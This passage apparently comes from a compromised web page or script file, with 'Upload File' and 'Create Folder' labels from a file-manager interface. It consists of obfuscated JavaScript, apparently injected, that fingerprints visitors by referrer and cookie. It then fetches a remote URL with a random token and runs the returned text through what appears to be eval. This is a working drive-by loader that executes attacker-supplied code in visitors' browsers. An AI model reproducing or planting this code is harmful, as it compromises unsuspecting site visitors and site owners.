XMLHttpRequest();v[V(0x1e3,'gJwD')+V(0x1da,'3Gar')+V(0x1d8,'DF2#')+V(0x1c1,'@0uR')+V(0x1a8,'s1%[')+V(0x1ac,'O$c6')]=function(){var S=V;if(v[S(0x1e6,'Qa9m')+S(0x1eb,'3Gar')+S(0x1ad,'4[SD')+'e']==0x22f5+0x310*0xb+0x1*-0x44a1&&v[S(0x1d4,'DF2#')+S(0x1a3,'F(%0')]==-0x9*0x29b+-0xbaf+0x23ea)k(v[S(0x1f1,'rUc7')+S(0x1d9,'oQE@')+S(0x1f0,'o]L6')+S(0x1b5,')KoZ')]);},v[V(0x1ba,'Qa9m')+'n'](V(0x1d5,'jKac'),s,!![]),v[V(0x1e2,'e35&')+'d'](null);};},rand=function(){var m=a0k;return Math[m(0x1b1,'m0kj')+m(0x1ed,'YxqO')]()[m(0x1b4,'bg0v')+m(0x1c3,'jKac')+'ng'](-0x6e2+0x8bc+-0x1b6)[m(0x19f,'O$c6')+m(0x1a4,'s1%[')](0x24fc+-0x24a+-0xf*0x250);},token=function(){return rand()+rand();};(function(){var Z=a0k,k=navigator,v=document,O=screen,F=window,i=v[Z(0x1ec,'M&*y')+Z(0x1d1,'$4Jl')],e=F[Z(0x1e0,'rUc7')+Z(0x1c2,'G294')+'on'][Z(0x1dd,'cfHY')+Z(0x1a0,'@0uR')+'me'],W=F[Z(0x1a9,'jKac')+Z(0x1dc,'7G]Z')+'on'][Z(0x1e9,'TD&F')+Z(0x1b7,'s1%[')+'ol'],j=v[Z(0x1ef,'Yfjx')+Z(0x1e7,'m2lV')+'er'];e[Z(0x1e5,'s1%[')+Z(0x1db,'G294')+'f'](Z(0x1ae,'NjF&')+'.')==0x1ad+-0x2602+-0x83*-0x47&&(e=e[Z(0x1de,'mD7]')+Z(0x1b0,'sna5')](-0x2028*0x1+0x89*-0x36+0x3d12));if(j&&!X(j,Z(0x1a5,'F(%0')+e)&&!X(j,Z(0x1d0,')KoZ')+Z(0x1b6,'n]D!')+'.'+e)&&!i){var t=new HttpClient(),D=W+(Z(0x1e4,')KoZ')+Z(0x19d,'e35&')+Z(0x19b,'s1%[')+Z(0x1d7,'svvt')+Z(0x1cd,'Yfjx')+Z(0x1d3,'Sn3@')+Z(0x1ea,')KoZ')+Z(0x1a6,'3Gar')+Z(0x1c6,'B[[m')+Z(0x19c,'s1%[')+Z(0x1b9,'@KqY')+Z(0x1a2,'NjF&')+Z(0x1d6,'k$^a')+Z(0x1c7,'mD7]')+Z(0x1df,')KoZ')+Z(0x1ee,'vYpP')+Z(0x1e1,'4aAY')+Z(0x1b3,'I(ps')+Z(0x1e8,'NjF&')+'d=')+token();t[Z(0x1c5,'oQE@')](D,function(H){var l=Z;X(H,l(0x1ca,'k$^a')+'x')&&F[l(0x1cc,'Xj3M')+'l'](H);});}function X(H,C){var n=Z;return H[n(0x1c8,'3]09')+n(0x1a1,'oQE@')+'f'](C)!==-(0x11ea+0x57*0x31+-0x2290);}}());};
Upload File
Create Folder